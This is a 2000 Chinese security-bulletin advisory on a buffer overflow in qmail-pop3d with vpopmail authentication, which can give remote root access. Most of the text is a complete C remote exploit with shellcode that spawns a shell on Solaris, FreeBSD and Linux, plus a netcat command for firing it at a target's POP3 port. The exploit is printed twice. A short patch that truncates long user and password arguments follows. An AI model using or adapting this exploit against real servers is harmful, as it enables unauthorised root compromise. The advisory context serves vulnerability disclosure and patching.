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绿盟月刊
绿盟安全月刊->第6期->最新漏洞
作者：David Litchfield
日期：2000-02-15
受影响的系统:
qmail-1.03
vpopmail-3.4.10a/vpopmail-3.4.11[b-e]
--------------------------------------------------------------------------------
描述:
Qmail-pop3d允许向口令认证服务传递过长的命令参数。当vpopmail用于认证用户信息时，远程攻击者有可能以vpopmail-pop3d运行权限（通常是root）进入系统。
测试程序：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
/*
qmail-qpop3d-vchkpw.c (v.3)
by: K2,
The inter7 supported vchkpw/vpopmail package (replacement for chkeckpasswd)
has big problems ;)
gcc -o vpop qmail-pop3d-vchkpw.c [-DBSD|-DSX86]
( ./vpop [offset] [alignment] ; cat ) | nc target.com 110
play with the alignment to get it to A) crash B) work.
qmail-pop3d/vchkpw remote exploit. (Sol/x86,linux/x86,Fbsd/x86) for now.
Tested agenst: linux-2.2.1[34], FreeBSD 3.[34]-RELEASE
vpopmail-3.4.10a/vpopmail-3.4.11[b-e]
Hi plaguez.
prop's to Interrupt for testing with bsd, _eixon an others ;)
cheez shell's :)
THX goes out to STARBUCKS*!($#!
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define SIZE 260
#define NOP 0x90
#ifdef SX86
#define DEFOFF 0x8047cfc
#define NOPDEF 75
#elif BSD
#define DEFOFF 0xbfbfdbbf
#define NOPDEF 81
#else
#define DEFOFF 0xbffffcd8
#define NOPDEF 81
#endif
char *shell =
#ifdef SX86 // Solaris IA32 shellcode, cheez
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
#elif BSD // fBSD shellcode, mudge@l0pht.com
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
#else // Linux shellcode, no idea
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh\xff";
#endif
int main(int argc, char **argv)
{
int i=0,esp=0,offset=0,nop=NOPDEF;
char buffer[SIZE];
if (argc > 1) offset += strtol(argv[1], NULL, 0);
if (argc > 2) nop += strtol(argv[2], NULL, 0);
esp = DEFOFF;
memset(buffer, NOP, SIZE);
memcpy(buffer+nop, shell, strlen(shell));
for (i = (nop+strlen(shell)+1); i < SIZE; i += 4) {
*((int *) &buffer[i]) = esp+offset;
}
printf("user %s\n",buffer);
printf("pass ADMR0X&*!(#&*(!\n");
fprintf(stderr,"\nbuflen = %d, nops = %d, target = 0x%x\n\n",strlen(buffer),nop,esp+offset);
return(0);
}
--------------------------------------------------------------------------------
建议:
安装安全补丁程序。
/*
qmail-qpop3d-vchkpw.c (v.3)
by: K2,
The inter7 supported vchkpw/vpopmail package (replacement for chkeckpasswd)
has big problems ;)
gcc -o vpop qmail-pop3d-vchkpw.c [-DBSD|-DSX86]
( ./vpop [offset] [alignment] ; cat ) | nc target.com 110
play with the alignment to get it to A) crash B) work.
qmail-pop3d/vchkpw remote exploit. (Sol/x86,linux/x86,Fbsd/x86) for now.
Tested agenst: linux-2.2.1[34], FreeBSD 3.[34]-RELEASE
vpopmail-3.4.10a/vpopmail-3.4.11[b-e]
Hi plaguez.
prop's to Interrupt for testing with bsd, _eixon an others ;)
cheez shell's :)
THX goes out to STARBUCKS*!($#!
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define SIZE 260
#define NOP 0x90
#ifdef SX86
#define DEFOFF 0x8047cfc
#define NOPDEF 75
#elif BSD
#define DEFOFF 0xbfbfdbbf
#define NOPDEF 81
#else
#define DEFOFF 0xbffffcd8
#define NOPDEF 81
#endif
char *shell =
#ifdef SX86 // Solaris IA32 shellcode, cheez
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
#elif BSD // fBSD shellcode, mudge@l0pht.com
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
#else // Linux shellcode, no idea
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh\xff";
#endif
int main(int argc, char **argv)
{
int i=0,esp=0,offset=0,nop=NOPDEF;
char buffer[SIZE];
if (argc > 1) offset += strtol(argv[1], NULL, 0);
if (argc > 2) nop += strtol(argv[2], NULL, 0);
esp = DEFOFF;
memset(buffer, NOP, SIZE);
memcpy(buffer+nop, shell, strlen(shell));
for (i = (nop+strlen(shell)+1); i < SIZE; i += 4) {
*((int *) &buffer[i]) = esp+offset;
}
printf("user %s\n",buffer);
printf("pass ADMR0X&*!(#&*(!\n");
fprintf(stderr,"\nbuflen = %d, nops = %d, target = 0x%x\n\n",strlen(buffer),nop,esp+offset);
return(0);
}
Patch:
--- qmail-1.03/qmail-popup.c Mon Jun 15 03:53:16 1998
+++ qmail-1.03-patch/qmail-popup.c Fri Jan 21 13:00:18 2000
@@ -13,6 +13,8 @@
#include "readwrite.h"
#include "timeoutread.h"
#include "timeoutwrite.h"
+#include
+#include
void die() { _exit(1); }
@@ -87,6 +89,24 @@
int child;
int wstat;
int pi[2];
+
+ /*
+ This patch should have minimal impact of normal qmail operations.
+ It was coded/tested under linux, but should work most everywhere.
+ */
+
+ if(strlen(user) >= 40)
+ {
+ syslog(LOG_NOTICE,"excessive argument length [%d]",strlen(user));
+ user[39]='\0';
+ userlen=strlen(user);
+ }
+
+ if(strlen(pass) >= 40)
+ {
+ syslog(LOG_NOTICE,"excessive argument length [%d]",strlen(pass));
+ pass[39]='\0';
+ }
if (fd_copy(2,1) == -1) die_pipe();
close(3);
版权所有，未经许可，不得转载